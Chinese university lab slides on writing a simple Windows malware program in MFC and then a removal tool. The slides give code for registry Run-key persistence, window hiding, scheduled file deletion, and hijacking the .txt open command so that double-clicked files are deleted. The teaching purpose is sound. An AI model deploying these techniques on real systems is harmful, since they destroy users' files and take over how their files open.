




版權(quán)說(shuō)明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請(qǐng)進(jìn)行舉報(bào)或認(rèn)領(lǐng)
文檔簡(jiǎn)介
第三篇網(wǎng)絡(luò)安全理論與技術(shù)實(shí)驗(yàn)篇第十章網(wǎng)絡(luò)安全編程實(shí)驗(yàn)10.3惡意代碼及防護(hù)編程實(shí)驗(yàn)網(wǎng)絡(luò)空間安全技術(shù)實(shí)踐教程110.3惡意代碼及防護(hù)編程實(shí)驗(yàn)實(shí)驗(yàn)?zāi)康模?/p>
惡意代碼是網(wǎng)絡(luò)安全威脅的重要組成部分,其由于編寫(xiě)語(yǔ)言,實(shí)現(xiàn)機(jī)制等等的多樣性和復(fù)雜性,以及強(qiáng)大的破壞性和隱蔽性,將對(duì)網(wǎng)絡(luò)安全構(gòu)成重要的長(zhǎng)期的威脅。本實(shí)驗(yàn)通過(guò)設(shè)計(jì)實(shí)現(xiàn)一款簡(jiǎn)單的惡意代碼程序,深刻理解惡意代碼編寫(xiě)的原理,設(shè)計(jì)思路;同時(shí)設(shè)計(jì)查殺程序進(jìn)而理解殺毒軟件的工作機(jī)理。網(wǎng)絡(luò)空間安全技術(shù)實(shí)踐教程210.3
惡意代碼及防護(hù)編程實(shí)驗(yàn)實(shí)驗(yàn)內(nèi)容:
惡意代碼設(shè)計(jì)與實(shí)現(xiàn)涉及了文件系統(tǒng)編程、網(wǎng)絡(luò)通信編程、注冊(cè)表編程、定時(shí)編程、多線程編程、駐留程序編程,本實(shí)驗(yàn)要求編寫(xiě)一個(gè)利用各項(xiàng)編程技術(shù)實(shí)現(xiàn)簡(jiǎn)單的獨(dú)立惡意代碼程序,并且根據(jù)破壞特征設(shè)計(jì)查殺程序。網(wǎng)絡(luò)空間安全技術(shù)實(shí)踐教程310.3惡意代碼及防護(hù)編程實(shí)驗(yàn)實(shí)驗(yàn)內(nèi)容:
本實(shí)驗(yàn)中惡意代碼程序主要實(shí)現(xiàn):
(1)自啟動(dòng)功能;
(2)自動(dòng)駐留功能;
(3)實(shí)現(xiàn)每天固定一個(gè)時(shí)間,自動(dòng)刪除D:\file4.txt文件;
(4)當(dāng)用戶雙擊一個(gè)文本文件時(shí),自動(dòng)刪除該文件;
(5)其他自己設(shè)計(jì)的惡意破壞功能或遠(yuǎn)程控制功能。網(wǎng)絡(luò)空間安全技術(shù)實(shí)踐教程410.3
惡意代碼及防護(hù)編程實(shí)驗(yàn)實(shí)驗(yàn)要點(diǎn)說(shuō)明:(實(shí)驗(yàn)難點(diǎn)說(shuō)明)編寫(xiě)簡(jiǎn)單惡意代碼程序?qū)崿F(xiàn)查殺程序網(wǎng)絡(luò)空間安全技術(shù)實(shí)踐教程510.3
惡意代碼及防護(hù)編程實(shí)驗(yàn)實(shí)驗(yàn)準(zhǔn)備:(實(shí)驗(yàn)環(huán)境,實(shí)驗(yàn)先有知識(shí)技術(shù)說(shuō)明)操作系統(tǒng)windowsXP及以上VS2010以上開(kāi)發(fā)環(huán)境網(wǎng)絡(luò)空間安全技術(shù)實(shí)踐教程6實(shí)驗(yàn)步驟:1)惡意代碼程序編寫(xiě)(1)新建工程打開(kāi)一個(gè)VS2010,建立一個(gè)新的MFC工程。需要注意的有兩點(diǎn):首先,在應(yīng)用類型界面需要選擇基于對(duì)話框的應(yīng)用,如圖10-3-1所示;其次,在高級(jí)選項(xiàng)界面要勾選“WindowsSocket”,如圖10-3-2所示,這樣在之后的Socket編程工作中,用到相關(guān)頭文件以及鏈接庫(kù)等開(kāi)發(fā)環(huán)境時(shí)就不再需要手工添加了。建立成功后,進(jìn)入ClassView,如圖10-3-3所示,可在主界面中根據(jù)功能設(shè)計(jì)好主對(duì)話框,如圖10-3-4所示。需要說(shuō)明的是,該程序運(yùn)行后,用戶就會(huì)看到界面顯示的主對(duì)話框,如果關(guān)閉該對(duì)話框,程序運(yùn)行進(jìn)程就終止了。10.3
惡意代碼及防護(hù)編程實(shí)驗(yàn)網(wǎng)絡(luò)空間安全技術(shù)實(shí)踐教程7實(shí)驗(yàn)步驟:1)惡意代碼程序編寫(xiě)(2)自啟動(dòng)功能自啟動(dòng)功能是通過(guò)注冊(cè)表編程來(lái)實(shí)現(xiàn),注冊(cè)表在計(jì)算機(jī)中由鍵名和鍵值組成,注冊(cè)表中存儲(chǔ)了Windows操作系統(tǒng)的設(shè)置。注冊(cè)表的根鍵共有6個(gè),其中HKEY_CURRENT_USER管理系統(tǒng)當(dāng)前的用戶信息,自啟動(dòng)項(xiàng)就屬于該根鍵。本實(shí)驗(yàn)中要在HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run處(如圖10-3-5所示)添加新鍵值,鍵名為惡意代碼程序名,鍵值為惡意代碼程序的路徑。添加成功后,只要操作系統(tǒng)啟動(dòng),該指定程序?qū)⒆詣?dòng)啟動(dòng)。10.3惡意代碼及防護(hù)編程實(shí)驗(yàn)網(wǎng)絡(luò)空間安全技術(shù)實(shí)踐教程8實(shí)驗(yàn)步驟:1)惡意代碼程序編寫(xiě)(2)自啟動(dòng)功能為了實(shí)現(xiàn)該功能,需要在ClassView中CCChenSiMCDlg下雙擊OnInitDialog(),進(jìn)入相應(yīng)編輯頁(yè),找到“//TODO:Addextrainitializationhere”,在后面加入如下代碼:
HKEYhKey1;
DWORDdwDisposition;
LONGlRetCode; LPCTSTRaddr="Software\\Microsoft\\Windows\\CurrentVersion\\Run"; LPCTSTRname="MCgame";//惡意代碼程序名 LPCTSTRvalue="\"D:\\CChenSiMC.exe\"\\noshow";//惡意代碼程序路徑10.3惡意代碼及防護(hù)編程實(shí)驗(yàn)網(wǎng)絡(luò)空間安全技術(shù)實(shí)踐教程9實(shí)驗(yàn)步驟:1)惡意代碼程序編寫(xiě)(2)自啟動(dòng)功能
//創(chuàng)建 lRetCode=RegCreateKeyEx(HKEY_CURRENT_USER,addr,0,NULL,REG_OPTION_NON_VOLATILE,KEY_WRITE,NULL,&hKey1,&dwDisposition); if(lRetCode!=ERROR_SUCCESS)
{//如果創(chuàng)建失敗則退出
return0;
}
//設(shè)置鍵值 lRetCode=RegSetValueEx(hKey1,name,0,REG_SZ,(byte*)value,100); if(lRetCode!=ERROR_SUCCESS)
{//如果設(shè)置失敗則退出
return0;
}10.3惡意代碼及防護(hù)編程實(shí)驗(yàn)網(wǎng)絡(luò)空間安全技術(shù)實(shí)踐教程10實(shí)驗(yàn)步驟:1)惡意代碼程序編寫(xiě)(3)自動(dòng)駐留功能駐留又稱為進(jìn)程隱藏,最簡(jiǎn)單的辦法就是將窗口的顯示模式改為隱藏顯示,這樣就達(dá)到駐留的效果。然而,在MFC中駐留并沒(méi)有這么簡(jiǎn)單,而是分為兩個(gè)步驟進(jìn)行。首先,在MFC的主界面屬性中將Visible的值由“True”改為“False”,如圖10-3-6所示。10.3惡意代碼及防護(hù)編程實(shí)驗(yàn)網(wǎng)絡(luò)空間安全技術(shù)實(shí)踐教程11實(shí)驗(yàn)步驟:1)惡意代碼程序編寫(xiě)(3)自動(dòng)駐留功能其次,要在窗口第一次自繪時(shí)隱藏窗口,可以收到比較好的效果。當(dāng)對(duì)話框顯示時(shí),將要響應(yīng)消息WM_PAINT繪制客戶區(qū),響應(yīng)消息WM_NCPAINT繪制窗口邊框。由于窗口是先畫(huà)窗口邊框,所以僅需處理WM_NCPAINT即可。在處理時(shí),在ClassView中右鍵單擊CCChenSiMCDlg,調(diào)出菜單點(diǎn)擊ClassWizard...,進(jìn)入向?qū)Ш笳业組essages添加OnNcPaint()函數(shù),如圖10-3-7所示。10.3惡意代碼及防護(hù)編程實(shí)驗(yàn)網(wǎng)絡(luò)空間安全技術(shù)實(shí)踐教程12實(shí)驗(yàn)步驟:1)惡意代碼程序編寫(xiě)(3)自動(dòng)駐留功能雙擊ClassView界面中的OnNcPaint()進(jìn)入代碼編輯頁(yè)面,找到“//TODO:Addyourmessagehandlercodehere”后添加如下代碼:voidCCChenSiMCDlg::OnNcPaint(){ //隱藏程序界面 //TODO:Addyourmessagehandlercodehere staticinti=2; if(i>0) { i--; ShowWindow(SW_HIDE); } else CDialog::OnNcPaint();}10.3惡意代碼及防護(hù)編程實(shí)驗(yàn)網(wǎng)絡(luò)空間安全技術(shù)實(shí)踐教程13實(shí)驗(yàn)步驟:1)惡意代碼程序編寫(xiě)(3)自動(dòng)駐留功能程序中靜態(tài)變量的值定義為2,這是因?yàn)橹灰翱陔[藏第一次,所以定義這個(gè)變量可以判斷是否是首次顯示窗口。當(dāng)程序開(kāi)始運(yùn)行時(shí),系統(tǒng)發(fā)送WM_NCPAINT消息,此時(shí)程序的窗口邊框應(yīng)該被顯示,但是實(shí)際上是將窗口隱藏,ShowWindow(SW_HIDE)將把窗口的WS_VISIBLE屬性去掉,繼續(xù)執(zhí)行。之后程序會(huì)檢查WS_VISIBLE屬性,如果沒(méi)有則顯示窗口,這個(gè)過(guò)程中又發(fā)送了一個(gè)WM_NCPAINT消息,所以我們要處理兩次WM_NCPAINT消息。10.3惡意代碼及防護(hù)編程實(shí)驗(yàn)網(wǎng)絡(luò)空間安全技術(shù)實(shí)踐教程14實(shí)驗(yàn)步驟:1)惡意代碼程序編寫(xiě)(4)定時(shí)自動(dòng)刪除文件定時(shí)自動(dòng)刪除文件需要設(shè)置一個(gè)定時(shí)器,在MFC中定時(shí)器的使用同樣分為兩步。首先,需要在ClassView中CCChenSiMCDlg下雙擊OnInitDialog(),進(jìn)入相應(yīng)編輯頁(yè),找到“//TODO:Addextrainitializationhere”,在后面加入如下代碼:SetTimer(1,1000,NULL);//定時(shí)器此程序用來(lái)開(kāi)啟定時(shí)器,并且每1秒調(diào)用一次處理函數(shù)。在MFC中,處理函數(shù)需要手動(dòng)添加,在ClassView中右鍵單擊CCChenSiMCDlg,調(diào)出菜單點(diǎn)擊ClassWizard...,進(jìn)入向?qū)Ш笳业組essages添加OnTimer(UINT_PTRnIDEvent)函數(shù),如圖10-3-8所示。10.3惡意代碼及防護(hù)編程實(shí)驗(yàn)網(wǎng)絡(luò)空間安全技術(shù)實(shí)踐教程15實(shí)驗(yàn)步驟:1)惡意代碼程序編寫(xiě)(4)定時(shí)自動(dòng)刪除文件雙擊ClassView界面中的OnTimer(UINT_PTRnIDEvent)進(jìn)入代碼編輯頁(yè)面,找到“//TODO:Addyourmessagehandlercodehereand/orcalldefault”后添加如下代碼:voidCCChenSiMCDlg::OnTimer(UINT_PTRnIDEvent){ //TODO:Addyourmessagehandlercodehereand/orcalldefault SYSTEMTIMEsysTime;
GetLocalTime(&sysTime);//獲取本地時(shí)間 if(sysTime.wHour==12&&sysTime.wMinute==39&&sysTime.wSecond==00) remove("D:\\file4.txt");//在每天的12:39:00刪除文件 CDialogEx::OnTimer(nIDEvent);}10.3惡意代碼及防護(hù)編程實(shí)驗(yàn)網(wǎng)絡(luò)空間安全技術(shù)實(shí)踐教程16實(shí)驗(yàn)步驟:1)惡意代碼程序編寫(xiě)(5)雙擊刪除文本文件功能雙擊刪除文本文件功能需要獲取雙擊文本文件的路徑,然后對(duì)其進(jìn)行刪除,除此之外,為了保證雙擊文本文件時(shí)惡意程序自動(dòng)運(yùn)行,還需要對(duì)文本文件的注冊(cè)表進(jìn)行修改。首先,要將打開(kāi)文本文件的動(dòng)作與惡意程序關(guān)聯(lián)起來(lái),相關(guān)注冊(cè)表的根鍵為HKEY_CLASS_ROOT,該根鍵管理文件系統(tǒng),根據(jù)在Windows中安裝的應(yīng)用程序的擴(kuò)展名,指明其文件類型的名稱,以及相應(yīng)打開(kāi)該文件所要調(diào)用的程序等信息。該功能也是通過(guò)注冊(cè)表編程實(shí)現(xiàn),所修改的鍵值位于HKEY_CLASS_ROOT\txtfile\shell\open\command處,如圖10-3-9所示,要將該鍵值修改為惡意程序本身路徑。10.3惡意代碼及防護(hù)編程實(shí)驗(yàn)網(wǎng)絡(luò)空間安全技術(shù)實(shí)踐教程17實(shí)驗(yàn)步驟:1)惡意代碼程序編寫(xiě)(5)雙擊刪除文本文件功能為了實(shí)現(xiàn)該功能,需要在ClassView中CCChenSiMCDlg下雙擊OnInitDialog(),進(jìn)入相應(yīng)編輯頁(yè),找到“//TODO:Addextrainitializationhere”,在后面加入如下代碼:
addr="txtfile\\shell\\open\\command"; name=""; value="D:\\Documents\\VisualStudio2010\\Projects\\Experiment5\\CChenSiMC\\Debug\\CChenSiMC.exe%1";
//創(chuàng)建 lRetCode=RegCreateKeyEx(HKEY_CLASSES_ROOT,addr,0,NULL,REG_OPTION_NON_VOLATILE,KEY_WRITE,NULL,&hKey1,&dwDisposition); if(lRetCode!=ERROR_SUCCESS)
{//如果創(chuàng)建失敗則退出
return0;
}10.3惡意代碼及防護(hù)編程實(shí)驗(yàn)網(wǎng)絡(luò)空間安全技術(shù)實(shí)踐教程18實(shí)驗(yàn)步驟:1)惡意代碼程序編寫(xiě)(5)雙擊刪除文本文件功能
//設(shè)置鍵值 lRetCode=RegSetValueEx(hKey1,name,0,REG_SZ,(byte*)value,100); if(lRetCode!=ERROR_SUCCESS)
{//如果設(shè)置失敗則退出
return0;
}上述程序運(yùn)行后可以在雙擊文本文件時(shí)不用記事本打開(kāi),而是自動(dòng)運(yùn)行惡意程序,需要注意的是,當(dāng)用戶多次執(zhí)行打開(kāi)文本文件的操作時(shí),就會(huì)在任務(wù)管理器中加載許多相同的進(jìn)程,解決方法是先判斷是否存在該進(jìn)程,如果存在就不加載,具體程序不詳細(xì)給出。10.3惡意代碼及防護(hù)編程實(shí)驗(yàn)網(wǎng)絡(luò)空間安全技術(shù)實(shí)踐教程19實(shí)驗(yàn)步驟:1)惡意代碼程序編寫(xiě)(5)雙擊刪除文本文件功能為了刪除雙擊的文本文件,還需要獲得文本文件的路徑。為了實(shí)現(xiàn)該功能,需要在ClassView中CCChenSiMCDlg下雙擊OnInitDialog(),進(jìn)入相應(yīng)編輯頁(yè),找到“//TODO:Addextrainitializationhere”,在后面加入如下代碼:
CStringp_CmdLine; CStringdel="\"D:\\Documents\\VisualStudio2010\\Projects\\Experiment5\\CChenSiMC\\Debug\\CChenSiMC.exe\""; GetCommandLine(); p_CmdLine=GetCommandLine();//獲取文本文件的路徑 p_CmdLine.Replace(del,""); if(p_CmdLine!="") remove(p_CmdLine);//刪除雙擊的文本文件10.3惡意代碼及防護(hù)編程實(shí)驗(yàn)網(wǎng)絡(luò)空間安全技術(shù)實(shí)踐教程20實(shí)驗(yàn)步驟:1)惡意代碼程序編寫(xiě)(6)編譯惡意代碼程序編寫(xiě)完成后,需要對(duì)代碼進(jìn)行編譯,可以通過(guò)菜單或者工具欄按鈕完成操作。如果使用菜單,可以選擇Build-BuildCChenSiMC或者Build-BuildSolution,如圖10-3-10所示。如果使用工具欄,可以選擇如圖10-3-11所示的按鈕。10.3
惡意代碼及防護(hù)編程實(shí)驗(yàn)網(wǎng)絡(luò)空間安全技術(shù)實(shí)踐教程21實(shí)驗(yàn)步驟:1)惡意代碼程序編寫(xiě)(6)編譯惡意代碼程序如果編譯完全成功,確保無(wú)語(yǔ)法錯(cuò)誤時(shí),會(huì)在Output中顯示“Build:1succeed,0failed...”,如圖10-3-12所示;如果編譯存在錯(cuò)誤,會(huì)顯示在ErrorList中,如圖10-3-13所示,編譯器提示,在CChenSiMC文件的第142行,發(fā)生了C2065錯(cuò)誤,變量_CmdLine從沒(méi)有被聲明就使用了。經(jīng)查證,是因?yàn)榘裵_CmdLine錯(cuò)寫(xiě)為_(kāi)CmdLine,改正后即可編譯成功。10.3
惡意代碼及防護(hù)編程實(shí)驗(yàn)網(wǎng)絡(luò)空間安全技術(shù)實(shí)踐教程22實(shí)驗(yàn)步驟:2)運(yùn)行惡意程序
編譯成功后,可以通過(guò)菜單或者工具欄按鈕來(lái)運(yùn)行完成的程序。在編譯成功的前提下,如果使用菜單,其中一種方法是選擇Debug-StartDebugging,如圖10-3-14所示;如果使用工具欄,可以選擇如圖10-3-15所示的按鈕。正常運(yùn)行時(shí),由于本實(shí)驗(yàn)中程序被駐留,所以并不會(huì)顯示出主界面的窗口。運(yùn)行后可以依次驗(yàn)證功能,每天可以在固定時(shí)間刪除一個(gè)指定文本文件,以及雙擊文本文件時(shí)不會(huì)打開(kāi)記事本,而是刪除文本文件。10.3
惡意代碼及防護(hù)編程實(shí)驗(yàn)網(wǎng)絡(luò)空間安全技術(shù)實(shí)踐教程23實(shí)驗(yàn)步驟:3)設(shè)計(jì)惡意程序查殺程序
根據(jù)上述惡意代碼編寫(xiě)機(jī)制,設(shè)計(jì)實(shí)現(xiàn)該惡意代碼的查殺程序。惡意代碼查殺程序主要完成恢復(fù)注冊(cè)表項(xiàng),結(jié)束運(yùn)行的惡意程序2項(xiàng)功能,限于篇幅,此處不再詳述。10.3
惡意代碼及防護(hù)編程實(shí)驗(yàn)網(wǎng)絡(luò)空間安全技術(shù)實(shí)踐教程2410.3
惡意代碼及防護(hù)編程實(shí)驗(yàn)實(shí)驗(yàn)結(jié)果要求
(1)建立的工程名應(yīng)該是含有個(gè)人信息,如可加入姓名全拼構(gòu)成唯一的工程名字:CChenSiMC和CChenSiKiller。(2)在完全掌握各項(xiàng)惡意代碼編程技術(shù)的基礎(chǔ)上,根據(jù)實(shí)驗(yàn)內(nèi)容要求,綜合利用各功能設(shè)計(jì)實(shí)現(xiàn)自己的惡意代碼。(3)設(shè)計(jì)實(shí)現(xiàn)相應(yīng)的查殺程序,需要有友好的人機(jī)交互界面。網(wǎng)絡(luò)空間安全技術(shù)實(shí)踐教程2510.3
惡意代碼及防護(hù)編程實(shí)驗(yàn)實(shí)驗(yàn)報(bào)告要求
實(shí)驗(yàn)報(bào)告要求有封面,實(shí)驗(yàn)?zāi)康?,?shí)驗(yàn)環(huán)境,實(shí)驗(yàn)結(jié)果與分析,其中結(jié)果與分析主要描述編程步驟,關(guān)鍵功能及代碼,編程過(guò)程中遇到的問(wèn)題和經(jīng)驗(yàn)等。網(wǎng)絡(luò)空間安全技術(shù)實(shí)踐教程2610.3
惡意代碼及防護(hù)編程實(shí)驗(yàn)實(shí)驗(yàn)擴(kuò)展要求
(1)由于本程序特性,
溫馨提示
- 1. 本站所有資源如無(wú)特殊說(shuō)明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁(yè)內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒(méi)有圖紙預(yù)覽就沒(méi)有圖紙。
- 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
- 5. 人人文庫(kù)網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
- 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。
最新文檔
- 合同解除條件合同范本
- 反擔(dān)保合同范例app
- 小學(xué)課題申報(bào)書(shū) 寫(xiě)字
- 高校省級(jí)課題申報(bào)書(shū)
- 員工合同范本表
- 師德建設(shè)課題申報(bào)書(shū)
- 企業(yè)員工租房合同范本
- 吉安農(nóng)村生意轉(zhuǎn)讓合同范例
- 申報(bào)課題沒(méi)申報(bào)書(shū)
- 醫(yī)療務(wù)工合同范本武威市
- 中國(guó)常見(jiàn)食物營(yíng)養(yǎng)成分表
- 09J202-1 坡屋面建筑構(gòu)造(一)-2
- 金嗓子喉片行業(yè)分析
- 電導(dǎo)率對(duì)應(yīng)鹽水濃度表
- OCT基礎(chǔ)知識(shí)課件
- 起重機(jī)械培訓(xùn)
- 大模型在教育科技中的應(yīng)用
- 醫(yī)療保險(xiǎn)異地就醫(yī)登記備案表
- 烹飪概論教學(xué)大綱
- 單招考試沖刺攻略高效備考提高復(fù)習(xí)效果
- 《雇主責(zé)任險(xiǎn)》課件
評(píng)論
0/150
提交評(píng)論